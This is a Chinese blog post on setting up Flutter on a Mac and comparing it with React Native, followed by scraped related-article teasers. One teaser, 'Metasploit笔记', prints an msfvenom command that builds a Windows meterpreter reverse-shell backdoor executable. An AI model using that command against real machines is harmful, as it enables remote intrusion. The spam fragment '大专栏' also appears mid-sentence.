背景

近一年时间都在用 React Native 开发公司的 APP，水平基本上可以说是登堂入室了。前一段时间兴起一阵 Flutter 热，后端的同事都有推荐，今年 Google 大会又推出 flutter_web，偶有闲暇，就赶紧来看看这个新的多端兼容框架。

与 RN 的封装原生组件通过 Bridge 调用不同，Flutter 的模式是使用 Google 的 UI 引擎另起炉灶，使用 Dart 语言编写，最终还是编译成原生的代码。性能方面相较RN有所提升，但是RN已经有近5年的发展了，社区相当活跃，Flutter的底层组件完全依赖Google的开发，而且起步晚，所以功能上面并不完备。

安装、配置和入门实例可以按照官方的文档——Flutter 入门，文档非常详细。

有几个注意的地方

  1. Flutter 安装的版本，我选择的是最新版本的 Beta 版本，内容比较新而且问题相对较少
  2. 环境变量的配置，我的是 Mac + zshell，所以我 大专栏  flutter 入门（Mac）将变量写进 .zshrc 文件中
  3. 编辑工具的选择，我暂时用的是 Android Studio
  4. Android Studio 安装 Flutter 和 Dart 插件后在启动预览界面会出现“Start a new Flutter project”的选项，点击之后需要等待一段时间，并不是进程死掉
  5. 新建项目时，配置完成之后开始创建，弹出“Creating Flutter Project”的窗口，会一直卡住，我开VPN用全局模式都不行，大概10分钟左右项目基本结构已经创建好了，这时候强制退出 Android Studio 的进程，然后重新打开，选择项目打开，进入项目之后会提示修复项目，马上就能修复好
  6. 官方组件地址 http://pub.dartlang.org/flutter 打不开，当然，可能是我们家的网有问题
  7. Android 模拟器无法安装实例，我只能用 iOS 的模拟器测试

总结

  1. 可能是习惯问题，感觉 RN 写起来更舒服一些，用 Wedget 写起来太乱了，而且很死板
  2. 相关配套的服务不太完善，如pub等
  3. 之前一直在用文本编辑器写代码，用了一下 IDE，好省事

flutter 入门（Mac）的更多相关文章

  1. Flutter入门之有状态组件

    StatefulComponent使用方法入门 在上一篇Flutter入门之无状态组件中我们讲到了无状态组件,所谓的无状态组件指的就是其内部的状态是来自其父组件并使用final类型的变量来存储,当组件 ...

  2. flutter入门开发的一些坑

    flutter入门开发的一些坑 很久没写博客了,最近在准备物联网比赛,顺便抽出时间学习了一下flutter,花了近2周完成了一个查看博客博文的一个小的APPdemo,随便截了两张图,如下: 首页 博客 ...

  3. Flutter入门教程（四）第一个flutter项目解析

    一.创建一个Flutter工程 1.1 命令行创建 首先我们找一个空目录用来专门存放flutter项目,然后在路径中直接输入cmd: 使用 flutter create <projectname ...

  4. 使用 Flutter 开发 Mac 桌面应用

    Flutter 可以开发 Mac,Linux,Windows 桌面,但是对于平台目前只能打对于的包,以及调试本平台的包. 切换到 master 分支 首先必须切换到 master 分支.我之前在 de ...

  5. flutter 安装环境 Mac

    1.这是我第二次mac 安装 flutter环境了,但是这种东西记不住.打开写一下 有用的东西 一. ls vi 等命令 command not found原因是因为环境变量的问题,编辑profile ...

  6. Flutter入门教程（一）Flutter简介

    这是Flutter系列第一篇文章,后续会持续更新Flutter相关知识,本篇就主要对于Flutter技术做一个简单的入门介绍 一.Flutter简介 Flutter是谷歌的移动UI框架,可以快速在iO ...

  7. 手把手教你入门mac idea

    一.前沿 去年入职后, 公司有很多人使用的是idea , 而不是eclipse. 之前就想转向idea, 但一直没转过来~~原因是团队的人提倡用开源eclipse.现在下定决心转向idea. 虽然, ...

  8. IDEA快速入门(Mac版)

    [持续更新]一篇今年年头的老文章顺道发布了,大家有任何问题可以留言沟通.当时刚刚加入团团,愿大家有机会还是购买一台MAC,确实能给大家的效率赋能,虽然在一开始会有一些艰难!⛽️ 望借着换工作的东风,好 ...

  9. Flutter入门之无状态组件

    Flutter核心理念 flutter组件采用函数式响应框架构建,它的灵感来自于React.它设计的核心思想是组件外构建UI,简单解释一下就是组件鉴于它当前的配置和状态来描述它的视图应该是怎样的,当组 ...

随机推荐

  1. 吴裕雄--天生自然TensorFlow高层封装：Keras-TensorFlow API

    # 1. 模型定义. import tensorflow as tf from tensorflow.examples.tutorials.mnist import input_data mnist_ ...

  2. ZJNU 1133 - Subset sequence——中级

    推出n=1到4时,An排列的种类数分别为1 4 15 64可得(1+1)*2=4(4+1)*3=15(15+1)*4=64...故用一数列r[n]记录An的种类总数当n=3时,列举出以下15种从大到小 ...

  3. Jupyter_Notebook

    TA-lib指标库地址 http://github.com/xingbuxing/TA-Lib-in-chinese 1.Jupter是基于网页端写代码,属于一种交互式的编程,除了在上面写代码之外还可 ...

  4. 闭包,协议delegate

    1.定义 //1.闭包表达式语法 { (parameters) -> returnType in statements } let names = ["Chris", &qu ...

  5. CHINA SHOP 2019 | 奇点云“云+端”产品及解决方案赋能线下零售

    第二十一届中国零售业博览会(CHINA SHOP) 在山东青岛世界博览城盛大开幕 作为CHINA SHOP的老朋友 奇点云自然不会缺席 China Shop逛展直击灵魂“双拷问”: No.1 今年CH ...

  6. CorsConfig

    package org.linlinjava.litemall.core.config; import org.springframework.context.annotation.Bean; imp ...

  7. G - Radar Scanner Gym - 102220G（中位数～～）

    zThere are n rectangle radar scanners on the ground. The sides of them are all paralleled to the axe ...

  8. 邪恶的csrf

    关于csrf是啥我就不多说了 进入正文 场景模拟 场景一 在一个bbs社区里,用户在发言的时候会发出一个这样的GET请求: #!html GET /talk.php?msg=hello HTTP/1. ...

  9. Metasploit笔记

    生成exe后门 msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -o 1987.exe 生成PHP后门 m ...

  10. curl查看请求你响应时间

    [root@localhost ~]# curl -o /dev/null -s -w time_namelookup:%{time_namelookup}"\n"time_con ...